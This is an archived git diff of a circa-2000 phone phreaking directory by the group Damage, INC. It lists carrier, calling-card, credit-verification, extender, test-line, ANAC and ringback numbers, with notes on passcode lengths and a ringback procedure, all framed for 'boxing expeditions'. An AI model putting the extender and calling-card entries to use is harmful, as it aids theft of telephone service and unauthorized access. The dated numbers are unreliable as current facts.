+------------------------------------------------------------------------------- + Cellular, PCS and Paging Services: +------------------------------------------------------------------------------- + +1-800-214-4488 Wireless Solutions Hotline. +1-800-222-8466 Cellular Rentals. +1-800-263-7536 Nokia Mobile Phones. +1-800-264-2355 (1-800-ANI-CELL) Cellular South Answer Center. +1-800-274-3127 MobileCom's National Customer Service Center. +1-800-276-2355 Frontier Communications Customer Service. +1-800-374-2355 InterCall. +1-800-374-2776 Ericsson Mobile Phones Customer Care Center. +1-800-405-6543 American Mobile. +1-800-411-2355 Car Phone Store. +1-800-432-2355 Air Touch Paging. +1-800-438-2355 Kentucky Cellular. +1-800-452-2355 Appalacian Wireless. +1-800-460-2255 Pager Service. +1-800-474-2355 OmniCell Technologies Incorporated. +1-800-481-2355 ATI Cellular. +1-800-483-5010 Cellular Express. +1-800-488-2355 Cellular 2000. +1-800-496-2355 Nationlink. +1-800-518-2355 CellToys International. (Cellular, PCS, accessories etc.) +1-800-549-2355 Advanced Cellular and Paging. +1-800-590-2355 ATI Cellular. +1-800-613-2355 Cellular Unlimited. +1-800-638-2355 Comcev Cellular Communications. +1-800-667-7243 Cantel AT&T Paging. +1-800-673-2355 Quintex Cellular. +1-800-6AIR-TOUCH Air Touch Paging Canada. +1-800-705-2355 OmniCell Technical Department VMS. +1-800-706-2355 Paging Service Center. +1-800-724-2355 AllCell Rentals. +1-800-742-2355 Mobile Media. +1-800-759-2355 Plymouth Bell Laboratories. +1-800-765-2355 Isralink Communications. (Israel Cell phones) +1-800-794-2355 Advantage Communications Systems. +1-800-806-2355 Advantage Paging. (I believe it's Bell Advantage) +1-800-821-2355 MobileCom. +1-800-854-2355 MobileCall accounts. +1-800-866-2770 MobileCom. (pager service) +1-800-866-7000 MobileCom. +1-800-871-2355 The Phone Man. (I'm fucking serious... Haha) +1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only) +1-800-874-6387 Trellis Communications. +1-800-887-2255 Trellis Premier Voice Mail and Paging. +1-800-926-2355 Ubet Wireless. +1-800-969-9998 Cable and Wireless USA. +1-800-980-2355 Light Cellular. +1-800-999-6500 Cable and Wireless Customer Care Center. +1-800-PSI-1141 PSI Net. +1-800-WIRELESS Page USA. +1-877-948-4968 (1-877-WITH-YOU) Frontier Cellular. +1-877-CELLPHONE Travel Phone (Cellular phone company) +1-877-WIRELESS Cellular Depot. +1-888-229-4443 Cantel AT&T Canada. +1-888-300-2355 Consolidated Wireless Corporation. +1-888-444-2355 Maricell Cellular. +1-888-481-FIDO Fido PCS Services. +1-888-593-2355 S&E Cellular. +1-888-638-2355 Cantel AT&T. +1-888-694-2355 Corporate Communications at AirTouch Customer Service. +1-888-801-2355 Cell Phones and Accessories. +1-888-858-4PSI PSI Net Canada. +1-888-877-2355 Comcev Communications. +1-888-879-2355 Portable Communications. (The home of the Phone Man) +1-888-901-2355 Digital Communications. +1-888-902-2355 NewTech Wireless. (Paging, cellular, equipment, etc.) +1-888-968-2355 Everything Wireless. +1-888-999-2355 Downtown Wireless. +1-888-CELL-COM CellCom and PageCom. +1-888-PSI-NET1 PSI Net Limited. +1-888-PSI-NET2 PSI Net Limited. +1-888-WIRELESS Page USA. + + +------------------------------------------------------------------------------- + Free Disks: +------------------------------------------------------------------------------- + +1-800-487-4838 CompuServe. +1-800-777-9638 Sprynet - Gives you two disks. +1-800-786-7638 SunSoft - Free 30-day evaluation disk. (press 1) +1-800-827-6364 America Online. +1-800-PRODIGY Prodigy Internet Services. +1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks) + + +------------------------------------------------------------------------------- + Calling Cards: +------------------------------------------------------------------------------- + +1-800-213-0304 Talk `n Toss Calling Card. +1-800-213-4222 Calling Card. +1-800-225-5475 Smart Cards USA. +1-800-265-3121 Prepaid LD. +1-800-277-7468 Sprint Prepaid Calling (press 1) +1-800-279-6111 Unidial Calling Card. +1-800-303-5156 OLA Ontario Pre-paid calling card. +1-800-393-0711 7-11 Calling Cards. +1-800-396-2454 Tech-Card Customer Service. +1-800-423-4343 AT&T Calling Cards (16 digit code) (automated) +1-800-429-8036 OLA Ontario Pre-paid calling card Customer Service. +1-800-437-6404 Champs Sports Calling Card (9 digit code) +1-800-437-6415 Coca-Cola prepaid phone card dialup. +1-800-437-9291 Star Telecom Network "Please enter your card number." +1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (Mail-order telphonics equipment, + pre-paid phone cards, etc.) +1-800-463-0004 Calling card service. +1-800-475-9105 Customer Service for pre-paid calling cards. +1-800-484-2266 MCI WorldCom. (4 Digit Security Code) +1-800-484-6245 MCI. (4 Digit Security Code) +1-800-560-6245 "Please enter your four digit Frontier Spectrum PIN." +1-800-572-6361 Pepsi Phone Card. +1-800-662-6214 AT&T Calling Cards. +1-800-674-6245 Musical Notes and then "Please enter your card number now." +1-800-674-7325 MCI Calling Card. +1-800-674-9997 MCI Calling Card. +1-800-690-6245 "Please enter your four digit Frontier Spectrum PIN." +1-800-783-1414 Frontier Access Card. +1-800-811-3728 Globo Prepaid Phone Cards (10 digit codes) (automated) +1-800-814-2808 Sprint Prepaid calling card service. +1-800-827-8750 "Please enter your calling card number." +1-800-836-2255 "Press 1 for English, 2 for Korean. Enter your card number." +1-800-860-4444 Qwest Communications. (calling card calls) +1-800-864-7000 Premier World Link Access Number. +1-800-909-3191 Tech-Card (William Shatner) +1-800-909-3206 MCI WorldCom Pre-paid Card System +1-800-909-3207 MCI WorldCom Pre-paid Card System +1-800-909-3212 MCI WorldCom Pre-paid Card System +1-800-909-3214 GTN-Phone Card System +1-800-909-3215 Pre-paid Calling Card System +1-800-909-3217 1-800 Pre-paid +1-800-909-3218 1-800 Pre-paid +1-800-909-3219 1-800 Pre-paid +1-800-909-3225 MCI WorldCom Pre-paid Card System +1-800-909-3231 MCI WorldCom Pre-paid Card System +1-800-909-3236 MCI WorldCom Pre-paid Card System +1-800-909-3240 MCI WorldCom Pre-paid Card System +1-800-909-3242 MCI WorldCom Pre-paid Card System +1-800-909-3245 MCI-Exchange Card Service +1-800-909-3477 Pre-paid Long-Distance Service +1-800-909-3533 Pre-paid Long-Distance Phonecard (PEI/PC) +1-800-909-3640 MCI WorldCom Pre-paid Card System +1-800-909-3641 MCI WorldCom Pre-paid Card System +1-800-909-3642 MCI WorldCom Pre-paid Card System +1-800-909-3643 "All State" (MCI WorldCom Pre-paid Card System) +1-800-909-3646 MCI WorldCom Pre-paid Card System +1-800-909-3653 MCI WorldCom Pre-paid Card System +1-800-909-3654 MCI WorldCom Pre-paid Card System +1-800-909-3657 MCI WorldCom Pre-paid Card System +1-800-909-3661 Pre-paid Calling Card System +1-800-909-4495 Calling Card System (Insimity Point Security Code) +1-800-997-6245 Decoma calling card service. "Please enter your card number." +1-800-999-9000 TONE. "Please enter your MCI WorldCom card number now." +1-800-BCE-HELP Ideal Dial's Telecard Platform. +1-877-258-9088 Globo Prepaid Phone Cards Customer Service. +1-888-813-1426 Kokanee Talkin' Tag Phone Card (10 digit PIN) + + +------------------------------------------------------------------------------- + Teleconferencing: +------------------------------------------------------------------------------- + +1-800-225-5100 AT&T Corporate Teleconferencing. +1-800-225-5500 Teleconference Assistance. +1-800-225-5700 AT&T Teleconferencing. +1-800-232-1234 AT&T Teleconferencing. +1-800-235-0900 AT&T Teleconferencing. (Spanish and English) +1-800-255-5100 AT&T Teleconferencing. +1-800-255-5500 AT&T Teleconferencing. +1-800-369-1117 MCI Teleconferencing. +1-800-475-4455 Conference Calling Center. +1-800-475-6894 Quarrel Conferencing. +1-800-525-8244 Frontier Confertech. +1-800-544-6363 AT&T Alliance Teleconference Service. +1-800-567-3678 Bell (Dis)Advantage Teleconference (Canada) +1-800-569-0788 A Better Conference. +1-800-625-5288 Teleconference Playback Center. +1-800-668-4210 Frontier ConferTech. +1-800-827-1700 Conference Call USA. +1-800-886-2355 Frontier Teleconferencing. +1-800-900-6338 Advantage Conferencing Services. +1-800-925-8000 Conference America. +1-800-962-0044 Conf Call USA. + + +------------------------------------------------------------------------------- + Credit Card Verification: +------------------------------------------------------------------------------- + +1-800-228-1111 American Express. +1-800-228-1122 Credit Card Verification. +1-800-268-2530 Credit Card Verification. +1-800-268-8281 Royal Bank Authorization Centre for Visa Cards. +1-800-333-1337 Authorization Centre. +1-800-336-0220 Credit Card Service Bureau. +1-800-361-8370 National Bank Authorization Centre for Master Card. +1-800-528-2121 American Express Card. +1-800-555-1880 Fleet's Card Activation and PIN line. +1-800-556-5678 Bank number to report stolen bank cards. +1-800-561-5224 Credit Authorization Centre +1-800-796-2355 Card Services (Visa and Mastercard) +1-800-810-2355 Customer Service Center. +1-800-866-5000 National Credit Center. +1-800-925-8888 Automated Authorization Centre. (Credit Cards) + + +------------------------------------------------------------------------------- + Canadian Security Intelligence Service (CSIS): +------------------------------------------------------------------------------- + +(204) 983-5405 CSIS in Winnipeg. +(306) 780-5512 CSIS in Saskatchewan. +(403) 292-5255 CSIS in Calgary. +(403) 421-5800 CSIS in Edmonton. +(416) 865-1480 CSIS in Toronto. +(418) 529-8926 CSIS in Quebec City. +(506) 452-3786 CSIS in Fredericton. +(514) 393-5600 CSIS in Montreal. +(604) 528-7400 CSIS in British Columbia. +(613) 993-9620 CSIS HQ in Ottawa. +(613) 998-1679 CSIS. +(709) 772-5449 CSIS in Newfoundland. +(902) 420-5900 CSIS in Halifax. +1-800-267-7685 CSIS (Ontario only) +1-800-564-0866 CSIS (Toronto region) +1-800-661-5780 CSIS (Alberta/Saskatchewan/Manitoba/Thunder Bay only) + + +------------------------------------------------------------------------------- + Non-Toll Free Extenders, etc. +------------------------------------------------------------------------------- + +(519) 651-2000 Extender. +(519) 651-2250 The Communications Group. +(519) 651-2252 Extender (4 digit Client numbers and passcodes) +(519) 654-9000 Ability Telecom extender/diverter. (4 digit passcodes) +(519) 742-9621 Bell Canada VMS. +(519) 846-2255 Extender. (5 digit passcode) +(519) 846-8786 PBX (dial "9" then the number) +(519) 895-2255 Extender. (5 digit passcode) + + +------------------------------------------------------------------------------- + Silent Lines, Test Lines and Strange Messages: +------------------------------------------------------------------------------- + +(403) 425-0052 Gives you Info about a Bell CO in Alberta. +(416) 690-4804 - Remote 44A (aka Bell Hut) (it's a switching center) +(423) 539-0001 Memorycall Access line. +(423) 588-9909 Memorycall Access line. +(423) 602-7811 Remote Call FWD Access. +(514) 391-1715 Wide Area Telephone Service (WATS) +(514) 391-4005 MDAR Trouble line. +(514) 481-1111 1khz tone. +(514) 481-1191 1Khz&Battery. +(514) 673-2111 Centrex (ASA) +(514) 786-6786 Control. +(514) 852-8686 Cables. +(514) 870-0200 CDE code MTL. +(514) 870-0669 CDE code MTL. +(514) 870-0704 CDE code MTL. +(514) 870-1252 DMS. +(847) 823-9995 Gives reading on the Bell CO, including alert and battery + conditions and temperature. Also allows you to check the sound + levels, allowing you to hear inside the CO. +1-800-200-0301 Test line (loud beep) +1-800-200-0302 Test line (loud beep) +1-800-221-0200 Siren Tones. +1-800-225-5122 "We are sorry but this program has not started. Thank you for + calling." +1-800-225-5300 "We are sorry but this program has ended and no further calls are + being taken. Thank you for calling." +1-800-225-5308 High pitched TONE. +1-800-225-5528 TONE. "Please enter the number you are calling." +1-800-225-5563 Ring+Silent line. +1-800-225-5871 High Tone then Dialtone. +1-800-265-1111 High Tone. +1-800-266-9999 Fast Busy Signal. +1-800-323-8126 Dialtone. +1-800-356-2255 Dialtone. +1-800-361-8313 Bell Canada. "There is no service at this number." +1-800-369-2255 Silent line. +1-800-430-7938 DMS. +1-800-437-3025 No Ring+Silent Line. +1-800-437-8351 High Tones. +1-800-444-1677 Siren Tones. +1-800-455-2013 Ring + Click then Trunk Busy signal. +1-800-455-7947 1 Ring then silent line. +1-800-465-7735 Strange Tones. +1-800-475-2037 Siren Tones. +1-800-483-2276 No Ring + Trunk Busy signal. +1-800-483-2655 "We're sorry, we're unable to place a call from this number." +1-800-483-2933 Siren Tones. +1-800-483-9774 Ring + Trunk Busy Signal. +1-800-485-2255 Ring + Trunk Busy Signal. +1-800-522-2255 Dialtone. +1-800-555-1120 "We are sorry but this program has ended and no further calls are + being taken. Thank you for calling." +1-800-555-1220 Same message as 1-800-555-1120. +1-800-555-1226 Siren Tones. +1-800-555-2123 Tones. +1-800-555-2147 Ring + Trunk Busy signal. +1-800-555-2342 Dialtone. (PBX) +1-800-555-3585 Dialtone. (PBX) +1-800-555-3696 Silent line. +1-800-555-6690 Tone. +1-800-565-6737 High Tone. +1-800-624-2255 "We're sorry. We're unable to place a call from this number. + Goodbye." +1-800-638-0156 Tones. +1-800-647-2255 "I'm sorry. We are no longer taking calls for this project." +1-800-745-6678 Dialtone. +1-800-747-6678 High Tone. +1-800-749-2355 High Tone. +1-800-827-0000 "You have entered an invalid telephone number..." +1-800-827-0011 "We're sorry, all circuits are now busy..." +1-800-827-0036 No Ring+Click+Trunk Busy. +1-800-827-0058 High Tone. +1-800-827-1227 Ring+Trunk Busy. +1-800-827-3210 NIS (Reads back 827-3210) +1-800-827-3750 "You have dialed an invalid location." +1-800-827-7878 "You have dialed an invalid location." +1-800-827-9010 "We're sorry, the number you have called is an invalid number." +1-800-827-9876 NIS (Reads back 827-9876) +1-800-827-9890 "You have reached a number that is NIS at this time. 827-9890." +1-800-827-9892 "You have reached a number that is NIS at this time. 827-9892." +1-800-827-9904 "You have reached a number that is NIS at this time. 827-9904." +1-800-861-9905 Loud Ring+Tones then "Thank you. Please hang up now." +1-800-862-6338 Blast of Noise. "Please enter your calling card PIN number." +1-800-866-9317 High Tone. +1-800-877-8000 Low Tone. +1-800-878-3532 High Tone. +1-800-898-2355 Silent line. +1-800-900-1302 Silent line. +1-800-900-2274 Silent line. +1-800-909-3467 Low Tone (PBX) +1-800-909-4358 High Tone. +1-800-909-4364 High Tone. +1-800-925-0288 "This is not a valid number." +1-800-925-3300 Low Tone. +1-800-925-6620 Low Tone. +1-800-925-8300 Rings+Silent Line. +1-800-959-9997 "Test 1, 2, 3, 4." message. +1-877-900-EASY "You have reached an inactive number on the EasyTel network." +1-888-374-2355 "You have entered an invalid telephone number." +1-888-468-2355 "Due to technical difficulties we cannot record your message + at this time." +1-888-487-5346 L.E.G.O.S. +1-888-786-6786 Control. +1-888-871-2380 Waterloo Facilities. + + +------------------------------------------------------------------------------- + FAX-Backs: +------------------------------------------------------------------------------- + +1-800-222-9323 AMV FAX-Back +1-800-268-9100 Bell Canada 1-900, 976, Info Line (2,1,2,AC,NUM,#,#) +1-800-282-2000 Phillips (1,2,6,AC,NUM,#,1,#) +1-800-323-6586 Tandy Retail Services FAX-Back. (order Tandy docs!) +1-800-345-1518 Compaq Computer PaqFax +1-800-365-0696 Genecom Corporation FAX-back service. (Digital Printer Support) +1-800-368-9673 Hewlett-Packard Information Storage Quick Fax (1,2,AC,NUM,1,2,) +1-800-380-0030 Diamond (2,2AC,NUM,#,1,AC,NUM,#,1) +1-800-443-1254 HP Portable Products (5,5,5,#,3,2,2,2,1#AC,NUM,#,1,#,) +1-800-446-6212 Analog Fax (2,1,0,AC,NUM,1,AC,NUM,#,1) +1-800-451-2100 Lucent Technologies Main number (get product info by FAX). +1-800-483-2495 Central FAX on demand system. (FAX-Back) +1-800-521-2846 Brother FAX-Back (they make fax machines and typewriters) +1-800-522-6752 Amp Fax (1,8,90,#,#,AC,NUM,#,#,AC,NUM,#,#,#) +1-800-525-3019 Intel (1,1,3,2,AC,NUM,1,#) +1-800-722-4786 Sun Microsystems Service Canada (1,2,4,1,AC,NUM,#,1) +1-800-727-3351 Micro$oft Sales FAX Service Line. (press *,1,1,AC,NUM,#,5,0) +1-800-822-4269 Borland Tech-Fax Document Retrieval System (3,2,1,AC,NUM,#,1,3,1) +1-800-827-3000 Elite Group (press 1 for Fax-back) +1-800-832-4778 Western Digital Fax Access (2,1,1,1,AC,NUM,#,1,AC,NUM,#,1) +1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1) + (pressing 6 transfers you to the Ameritech Team Data Information + Server which you can use to obtain telco info via FAX-Back) +1-800-872-4786 Sun Microsystems Service United States (2,4,1,AC,NUM,#,1) +1-800-879-8632 US West News line. (U.S. only) +1-800-909-0261 Apple Fax. +1-800-909-0263 3M Economic Services Fax-On-Demand System. +1-800-909-0264 Kinko's Fax-On-Demand Service. +1-800-909-0269 Co-merica Bank, California's Fax-On-Demand Service. +1-800-943-8329 Integrated Device Tech (1000,1,3000,1,#,AC,NUM#,1,#) +1-800-IBM-4FAX IBM FAX Information Service. (3,1,0,1,1,1,AC,NUM,#,1,1) +1-800-SKY-USER SkyTel Customer Service. (press 3 for FAX on demand for docs) +1-888-322-8444 Hartford Shareholders News & Info FAX-Back (3,1,AC,NUM) + + +------------------------------------------------------------------------------- + Yellow Pages: +------------------------------------------------------------------------------- + +(519) 579-2252 Baca Communications. (Bell Mobility Dealer) +(519) 654-2211 Bestel Message Centre Ltd. (Paging Services) +(519) 725-2570 Bell Mobility Baca. +(519) 744-7781 Bell Mobility Centre (Highland Hills Mall) +(519) 745-3900 Bestel Message Centre Ltd. (Full Messaging, Voice Mail, Paging) +(519) 893-8777 Bell World. +(519) 894-2211 Bell Mobility Cellular Plus Centre. +1-800-311-WORK Bell Canada. +1-800-387-7243 (1-800-387-PAGE) Bell Mobility Paging. +1-800-917-1917 Bell Canada's Advantage Call Centre Solutions. + +(519) 888-9660 Cantel AT&T Store (Connestoga Mall) +(519) 893-1811 Cantel AT&T Automated Self-Service System. +1-800-268-1087 Cantel AT&T Paging Customer Service. +1-888-353-4726 (1-88-TELEGRAM) AT&T Canada. (Send a Telegram Worldwide) + +(519) 741-5990 London Telecom Network. +(519) 743-3602 Extend Communications Inc. (Pagers, Voice Mail Boxes, etc.) +(519) 748-3200 Rogers Cablesystems General Enquiries. +(519) 749-2434 Clearnet Business Communications Centre. (Paging, PCS, etc.) +(519) 893-2310 Rogers Technical Assistance. +(519) 893-4400 Rogers Community Programming. +(519) 896-7600 Ericsson Communications Canada Inc. +(905) 561-5443 Digital Mobile Systems Inc. + +1-800-216-0888 PageNet. +1-800-263-4824 Digital Mobile. (Authorized Motorola Dealer) +1-800-265-8725 Shaw Paging. +1-800-270-8220 SOS 2000. (Government Canada line that lists businesses which + offer Year 2000 expertise and services) +1-800-453-6835 Glentel Inc. Mobile Satellites. +1-800-838-0298 MRC Systems Inc. +1-888-253-2763 (1-888-CLEARNET) Clearnet Inc. +1-888-474-3486 Iridium Canada. (Voice, Data, FAX & Paging Services) + + +Internet: + +(519) 570-2121 GO INTERNET CAFE. +(519) 651-3400 Sentex Communications. +(519) 885-0211 BondNet Internet Services Inc. (Cisco Systems Reseller, Lucent + Technologies Agent) +1-800-263-8433 Burlington Network Services. +1-800-668-2857 Wightman Telecommunications. (ISP) +1-800-773-4638 Globalserve Internet. +1-888-298-3447 Netcom Canada. +1-888-4-SENTEX Sentex Communications. +1-888-6-NEWNET New Net Technologies Group. + + +Cable: + +1-800-267-1919 CaTech Systems LTD. +1-800-400-4954 Cablecom International. +1-877-342-3726 Fiber Core Communications. +1-877-652-0088 First Call Locate Service. + + +Telephone Companies: + +(519) 651-2000 A-TEL Communications. (Press "9" to dial out) +(519) 651-2250 A-TEL Communications. +(519) 744-4455 A Telephone Man. (listed under Telephone Companies) +(519) 744-9640 A + Tel Inc. +(519) 745-0856 Telnet Communications. +(519) 746-3357 Sprint Canada Inc. + + +Telephone Directories: + +(519) 571-7700 Bell ActiMedia. +(519) 658-2001 Kitchener-Waterloo Talking Yellow Pages. (Gives local time & + temperature) + + +Telephone Equipment: + +(519) 570-0885 WilTel. +(519) 570-1320 Greb Tele-Data Inc. (Authorized Sprint Canada Sales & Service) +(519) 570-3609 Brant Telephone. (Authorized AT&T Canada and Lucent Technologies + Dealer. Long Distance and Conferencing Services) +(519) 650-2000 City-Com Communications (Golden Triangle) Inc. +(519) 654-2000 Regional Telecom. +(519) 654-2003 Intelicom Systems. +(519) 658-4588 Instatel Communications +(519) 741-9262 Barrett B J Communications. +(519) 744-6500 Tele-Connect. +(519) 747-3333 PhoneMaster. (Authorized Sprint Dealer) +(519) 748-1177 J&D Systems Inc. (Nortel Networks Authorized Distributor) +(519) 748-2228 Telefficiency. (Authorized Nortel, Meridian, etc. Distributor) +(519) 748-5832 Delphi Solutions. (Authorized Sprint Canada Agent) +(519) 883-4109 Exceltech. (Telephone equipment services) +1-800-932-9443 J P Cable Installations Ltd. (Authorized Bell Agent) +1-888-276-1604 Telecom-Tech. +1-888-7-DELPHI Delphi Solutions Customer Service. + + +Long Distance: + +(519) 220-1120 Ability Telecom. (Flat Rate Long Distance) +(519) 576-7077 Distributel Communications Ltd. (Long Distance Service) +(519) 651-2250 Fone Pass (formerly Ad-Tel Communications) +(519) 654-9614 Ontel Long Distance (Flat Rate, Worldwide Long Distance) +1-800-670-2266 AT&T Canada Long Distance. +1-800-700-0017 Glentel Inc. (Long Distance) +1-888-266-1313 WinTel Communications. (Long Distance) +1-888-676-7777 Bell Canada Advantage Optimum savings program. +1-888-824-1032 Telelink Canada. (Flat Rate Long Distance) + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Final Notes: + +If you'd like to contribute to the Damage, INC. Phreaky Field Phreaking List, +discover any dupes, numbers that are no longer in service or ones that have +been misidentified, please notify us in Email at damage_inc@disinfo.net and +report the error. This list is updated and released on a quarterly basis. +So, if you send numbers your alias will be included in the next edition. +Contributions are encouraged and always appreciated. + +Thanks go out to the following people (in no particular order) for their +contributions to this list. It's a large, ongoing project that wouldn't exist +without their support, and we appreciate the efforts that they've made towards +this compilation of numbers. If you contributed in some way but were neglected +to be mentioned, contact Damage, INC. and notify us about the oversight. + +Contributors/Greets: + +THC Phreak, BLACKENED, Shatazar, Helena3, Breaker, x25lurker, Tobias, Nevada, +Fringe, , Syko416, Lord Narayana, 1dot1, Overflow Trap, Fatal Vision, +Voyageur514, Silent Sentry, L00pster5, Phearless One, The Clone, Loud Ton3y, +Cultist, The Pusher, Gerfalcon, Jackal, Anarchist613, Betsi, RedBoxChiliPepper, +Logic Box, hevnsnt, Aftermath, Goldeneye, Jester, The Hitman, radigan, KingPiN, +tOrnak, Hollywood Vampire, Err418, Mister T, InfestDead, Toxic Twin, Snake Eyes, +not_in_service, Wrathchild, 1ns4n3 Pr3d4t0r,ÿDevilinDisguise, Aneurysm (204), +Hollow Point, Metabolis, Phractal, absolut zero (416), The Anchorite, Vortex, +La Jolla, aeon, Charles Forbin, Telco Terminus, BiohazzardTen, zxyx, Rev-Eng. + +Special thanks goes out to RedBoxChiliPepper (Phone Losers of America) for the +PLA Telephone Director0y. It was an inspiration to us. :) + +It was created, scanned, compiled, verified and distributed by phreaks, for +phreaks. And in addition to that, it's damn phreaky. Have phun... and look +for more releases courtesy of Damage, INC. and Blamerica Phreaky Industries. + +- Blackie Lawless + + Copyright 2000 by Damage, INC. All Rights Reserved. diff --git a/textfiles.com/groups/DAMAGEINC/dam01win.txt b/textfiles.com/groups/DAMAGEINC/dam01win.txt new file mode 100644 index 00000000..3cb2ce72 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/dam01win.txt @@ -0,0 +1,3184 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Phreaky Field Phreaking List. + ~ Winter 2001 Edition ~ + (Released: 02/05/01) + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Introduction: + +Hey phreaks, this is the long awaited 7th edition of the Damage, INC. Phreaky +Field Phreaking List. We recommend that you print it out and take it with you +on all of your boxing expeditions or for use as a reference while at payphones. +Hell, just take it with you wherever you travel. You never know when you're +going to need it. :) This comprehensive list includes many toll free numbers +for telcos, test numbers, conferences, computer companies, carriers, cellular, +and other services, etc. It's not just damn phreaky, it's the phreakiest! + +Disclaimer: + +The Damage, INC. Phreaky Field Phreaking List is for informational purposes +only. We are not responsible for how it is used, including but not restricted +to any fraudulent, illegal acts that may be committed, unauthorized access of +systems, loss/theft of services or any damages that may be caused as a result +of someone else's activities. If/how you use these numbers is entirely your +choice. In summary, you're legally responsible for your own deeds and actions. +Now that the legal shit has been thoroughly covered, here's what you have all +been waiting for... :) + +------------------------------------------------------------------------------- + ANACs/ANIs and Ringbacks: +------------------------------------------------------------------------------- + +Local ANACs: + +(204) 644-4444 Manitoba. +(215) 311 New York. (Verizon) +(215) 958 New York. (Verizon) +(215) 958-XXXX New York. (Try 958-0000 if 958 alone doesn't work) +(306) 115 Saskatchewan. +(403) 311 Alberta, Yukon and N.W. Territory. +(403) 908-222-2222 Alberta, Yukon and N.W. Territory. +(403) 999 Alberta, Yukon and N.W. Territory. +(416) 958-2622 Toronto, Ontario +(416) 997-1699 Toronto, Ontario. +(416) 997-5802 Toronto, Ontario (593 CO) +(416) 997-7777 Toronto, Ontario (593 and other? CO) +(416) 997-8123 Toronto, Ontario. +(416) 997-XXXX Toronto, Ontario. +(506) 1-555-1313 New Brunswick. +(514) 320-0047 Slow ANAC for Montreal, Quebec. +(514) 320-1147 Fast ANAC for Montreal, Quebec. +(514) 320-1148 Dorval, Quebec. +(514) 320-1223 Montreal, Quebec. +(514) 320-1232 Montreal, Quebec. +(514) 320-1233 Montreal, Quebec. +(514) 320-XXXX Montreal, Quebec. +(519) 320-XXXX London, Ontario. +(519) 748-3220 Kitchener, Ontario. (press "1" for ANI) +(604) 958-6111 British Columbia. +(613) 320-2232 Ottawa, Ontario. +(613) 320-5123 Kingston/Belleville/Southeastern Ontario. +(613) 320-5124 Kingston/Belleville/Southeastern Ontario. +(613) 320-9123 Kingston/Belleville/Southeastern Ontario. +(615) 557-2311 Nashville, Tennessee. +(705) 320-4567 North Bay, Ontario. +(819) 320-1112 Sherbrooke, Quebec. +(905) 958-2622 Mississauga, Ontario. +(954) 780-2411 Fort Lauderdale, Florida. +970 All of Connecticut. + +Notes: There are also common 3 digit ANACs such as 958 in many U.S. NPAs. +ANACs (Automatic Number Announcement Circuits) are numbers that when dialed will +read back the telephone number of the calling party in an automated voice. It +should be obvious how useful they can be in certain situations. Please don't +overuse or abuse the toll free ANACs that've been provided. Use local ANACs +whenever possible to ensure that the 800s listed below remain active. + +Toll Free ANACs: + +1-800-222-6000 eVoice by Nokia. Press "88,06" for ANI. ("88,05" for date/time) +1-800-314-4258 MCI WorldCom Credit Verification Hotline. (reads back ANI) +1-800-346-0152 ANAC. +1-800-4-BLOCKME VRS Billing Systems/IntegriTel has free 1-800 blocking & ANAC. +1-800-444-3333 MCI WorldCom. (reads back ANI) +1-800-444-4444 MCI WorldCom. (reads back ANI) +1-800-487-9240 ANAC (doesn't work from 519) +1-800-514-9939 ANAC (doesn't work from 416/519) +1-800-532-7486 AT&T Credit and Accounts Center. (Press "1,1" for ANI) +1-800-555-1160 ANAC (always busy now...) +1-800-555-1170 ANAC (always busy now...) +1-800-569-5699 ANAC (press "7*#") +1-800-638-2392 Press "2" for ANAC. +1-800-666-1379 Press "1,3,1" for ANAC. +1-800-692-6447 (1-800-MY-ANI-IS) Requires a passcode. +1-800-727-5207 MCI WorldCom. (reads back ANI) +1-800-877-CAPT ANAC (after a short "not active" message) +1-877-269-8825 URL Marketing. (Press "4" after the recording starts) +1-888-837-8274 ANAC and Ringback. + +Ringbacks: + +215-811+XXXX New York (dial 811 plus last 4 digits of Verizon payphone) +305-780-6095 Miami, Florida (305) +311-XXX-XXXX British Columbia (604) +320-XXX-XXXX Montreal, Quebec (514) +320-XXX-XXXX Quebec (819) +507-XXX-XXXX Alberta. +572+XXX-XXXX New Brunswick (506) +575-XXX-XXXX Halifax, Nova Scotia (902) +57X-XXXX Toronto, Ontario (416) +590-XXX-XXXX Manitoba (204) +777-XXX-XXXX Indiana. +871-XXX-XXXX British Columbia (604) +954-780-6321 Ringback for 954 NPA. +954-999-XXXX Ringback for 954 NPA. +999-XXX-XXXX Alberta (403), Yukon, and N.W. Territories (867) +999-XXX-XXXX Hamilton/Mississauga/Niagara Falls, Ontario (905) +999-XXX-XXXX North Bay, Ontario (705) +999-XXX-XXXX Ottawa, Ontario (613) +999-XXX-XXXX Ringback for 519 NPA. +999-XXX-XXXX Ringback for portions of Toronto, Ontario (416) +99X-XXXX Toronto, Ontario (416) + +Note: Most Ringbacks require you to dial 3 digits plus your 7 digit telephone +number, flash the hook quickly (or press the flash button if you have one), wait +for a tone and then hangup. Seconds later your phone should begin ringing. To +interrupt and cancel the ringing, answer and press a button or hangup again. + +For more ANACs and Ringbacks, download Voyager's alt.2600/#Hack FAQ from +http://www.attrition.org/~voyager/faq.html + + +------------------------------------------------------------------------------- + AT&T: +------------------------------------------------------------------------------- + +1-800-221-0000 AT&T Interactive Advantage Customer Support Line. +1-800-221-7680 AT&T Digital Video Center. +1-800-222-0300 AT&T Main Number. +1-800-222-0400 AT&T Custom Care Centre (for long distance service) +1-800-222-0900 AT&T Customer Care Center. +1-800-222-1000 AT&T Customer Care Center. +1-800-222-3000 AT&T Customer Service. +1-800-222-5111 Lucent/Phillips Communications/AT&T Telephones. +1-800-222-7747 AT&T Gift Certificates. +1-800-222-7956 AT&T Global ISDN Customer Care Center. +1-800-222-8555 AT&T Long Distance Certificates. +1-800-223-4507 AT&T. +1-800-223-9000 AT&T WorldNet/Long Distance. +1-800-225-1718 AT&T Prepaid Phone Cards Customer Service. +1-800-225-5288 (1-800-CALL-ATT) AT&T Collect Calls. +1-800-225-5856 AT&T's Vendor Agent Program. +1-800-232-8200 AT&T Personal Rewards. 